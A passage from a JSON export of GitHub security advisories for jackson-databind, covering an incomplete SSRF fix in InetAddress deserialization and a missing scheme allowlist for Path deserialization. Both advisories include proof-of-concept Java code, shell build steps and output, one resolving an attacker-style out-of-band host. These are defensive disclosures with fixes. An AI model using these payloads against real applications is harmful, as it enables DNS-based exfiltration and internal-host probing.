"2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0" ] } ], "aliases": [ "CVE-2026-77310" ], "database_specific": { "cwe_ids": [ "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:17:41Z", "nvd_published_at": "2026-08-24T20:17:20Z", "severity": "MODERATE" }, "details": "### Summary\nCVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`.\n\n### Details\nFile: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java\n\nSibling cases in the same switch:\n- Line 357-358 (UNFIXED):\n case STD_INET_ADDRESS:\n return InetAddress.getByName(value); // eager forward DNS lookup\n- Line 359-381 + helper at 494-496 (FIXED by PR #5951):\n protected InetSocketAddress _inetSocketAddress(String host, int port) {\n // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:\n return InetSocketAddress.createUnresolved(host, port); // no DNS\n }\n\n`InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.\n\nThe parent fix's own added unit test asserts `address.isUnresolved()` with the comment \"should NOT resolve address\", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.\n\nVerified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -\u003e createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch.\n\n### PoC\nLab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.\n\nA custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:\n\n ObjectMapper m = new ObjectMapper();\n // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true\n m.readValue(\"\\\"internal-metadata.attacker-oob.example:8080\\\"\", InetSocketAddress.class);\n // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host\n m.readValue(\"\\\"internal-metadata.attacker-oob.example\\\"\", InetAddress.class);\n\nObserved output (jackson 2.18.8):\n [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null\n [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example\n\nA standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.\n\nReachability with a plain field (no annotations, no polymorphism, no default typing):\n static class Config { public InetAddress bindHost; public int port; }\n mapper.readValue(\"{\\\"bindHost\\\":\\\"poc-reach.example\\\",\\\"port\\\":1}\", Config.class);\n // -\u003e resolver invoked on \"poc-reach.example\"\n\n### Impact\nAn attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.\n\nSuggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).\n\nCredit : Ta Duc Thien", "id": "GHSA-vvgp-rfg2-7rr6", "modified": "2026-09-28T20:30:05.324367371Z", "published": "2026-09-28T20:17:41Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-vvgp-rfg2-7rr6" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77310" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6058" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/2fc7bd9057dd051d7dea0e5fcad89822d0fa5ebd" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.9" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.5" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.1" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.5" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.1" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.10" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1" ] } ], "aliases": [ "CVE-2026-19032" ], "database_specific": { "cwe_ids": [ "CWE-470", "CWE-610" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:19:19Z", "nvd_published_at": "2026-09-01T04:18:00Z", "severity": "MODERATE" }, "details": "### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader\u003cFileSystemProvider\u003e` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(':');\nif (colonIx \u003c 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value); // attacker-controlled URI string\ntry {\n return Path.of(uri); // resolves scheme -\u003e may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n final String scheme = uri.getScheme();\n for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n if (provider.getScheme().equalsIgnoreCase(scheme)) {\n return provider.getPath(uri); // attacker scheme selects \u0026 drives a provider\n }\n }\n // no matching provider -\u003e ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n\u003e PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 — sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader\u003cFileSystemProvider\u003e.\n */\npublic class Vuln04_PathProvider {\n public static class Config { public Path workdir; }\n\n public static void main(String[] args) throws Exception {\n ObjectMapper mapper = JsonMapper.builder().build();\n // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n try {\n Config c = mapper.readValue(json, Config.class);\n System.out.println(\"Resolved Path = \" + c.workdir + \" (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n } catch (Throwable t) {\n System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n }\n }\n}\n```\n\n**PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application's classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson's readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n public static volatile boolean STATIC_INIT_RAN = false;\n public static volatile String GET_PATH_URI = null;\n static { STATIC_INIT_RAN = true; }\n\n @Override public String getScheme() { return \"evilscheme\"; }\n\n @Override public Path getPath(URI uri) {\n GET_PATH_URI = uri.toString();\n System.out.println(\"\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n }\n\n // --- remaining abstract methods: minimal stubs ---\n @Override public FileSystem newFileSystem(URI uri, Map\u003cString,?\u003e env) { throw new UnsupportedOperationException(); }\n @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n @Override public SeekableByteChannel newByteChannel(Path p, Set\u003c? extends OpenOption\u003e o, FileAttribute\u003c?\u003e... a) throws IOException { throw new UnsupportedOperationException(); }\n @Override public DirectoryStream\u003cPath\u003e newDirectoryStream(Path d, DirectoryStream.Filter\u003c? super Path\u003e f) { throw new UnsupportedOperationException(); }\n @Override public void createDirectory(Path d, FileAttribute\u003c?\u003e... a) { throw new UnsupportedOperationException(); }\n @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public boolean isSameFile(Path p, Path p2) { return false; }\n @Override public boolean isHidden(Path p) { return false; }\n @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n @Override public void checkAccess(Path p, AccessMode... m) { }\n @Override public \u003cV extends FileAttributeView\u003e V getFileAttributeView(Path p, Class\u003cV\u003e t, LinkOption... o) { return null; }\n @Override public \u003cA extends BasicFileAttributes\u003e A readAttributes(Path p, Class\u003cA\u003e t, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public Map\u003cString,Object\u003e readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor —\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver — `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app's\n * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n public static class Config { public java.nio.file.Path workdir; }\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n ObjectMapper mapper = JsonMapper.builder().build(); // default config\n String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n\n Config c = mapper.readValue(json, Config.class);\n\n System.out.println(\"Resolved Path = \" + c.workdir);\n System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n \u0026\u0026 EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n System.out.println(ok\n ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n : \"RESULT: NOT reproduced\");\n }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n src/main/java/com/poc/EvilFileSystemProvider.java \\\n src/main/java/com/poc/Vuln04_PathProvider.java \\\n src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2 :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader\u003cFileSystemProvider\u003e` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.", "id": "GHSA-wjgm-6hv5-3cvf", "modified": "2026-09-28T20:30:05.331167692Z", "published": "2026-09-28T20:19:19Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19032" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6129" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "type": "CVSS_V3" } ], "summary": "jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", 